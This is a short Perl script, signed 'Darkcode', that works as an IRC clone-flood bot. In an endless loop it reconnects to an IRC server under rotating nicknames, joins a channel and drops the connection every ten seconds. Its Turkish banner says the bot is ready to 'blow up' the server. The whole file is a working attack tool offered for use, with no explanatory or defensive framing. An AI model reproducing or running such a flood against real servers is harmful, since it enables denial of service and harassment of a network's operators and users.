#!/usr/bin/perl 
#Coded by Darkcode
use strict; 
use IO::Socket; 
use Socket; 
my $server = "irc.mynet.com"; 
my $port= '6667'; 
my $chanel = "#mynet_babalar"; 
my $nick = "h4ckr"; 
my $user = "Darkcode \"localhost\" \"".$server."\" :heykirsbot"; #Username 
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "Get a life ?"; 
print "[!] Darkcode'in botu serveri ucurmaya hazir efenim\n"; 
my @isaretci=("heckIr","hayalet","ipnalar","veledizinalar");
while(1){
foreach my $nik(@isaretci){
my $socket = new IO::Socket::INET(PeerAddr => $server, PeerPort => $port, Proto => "tcp") or die "cix socket acilmiyr"; 
print $socket "NICK $nik\n"; 
print $socket "user $user\n"; 
while(<$socket>){
if($_ =~ '376') 
{
print $socket "JOIN $chanel\n";
close($socket);
}
 
}close($socket);
}
sleep(10);
}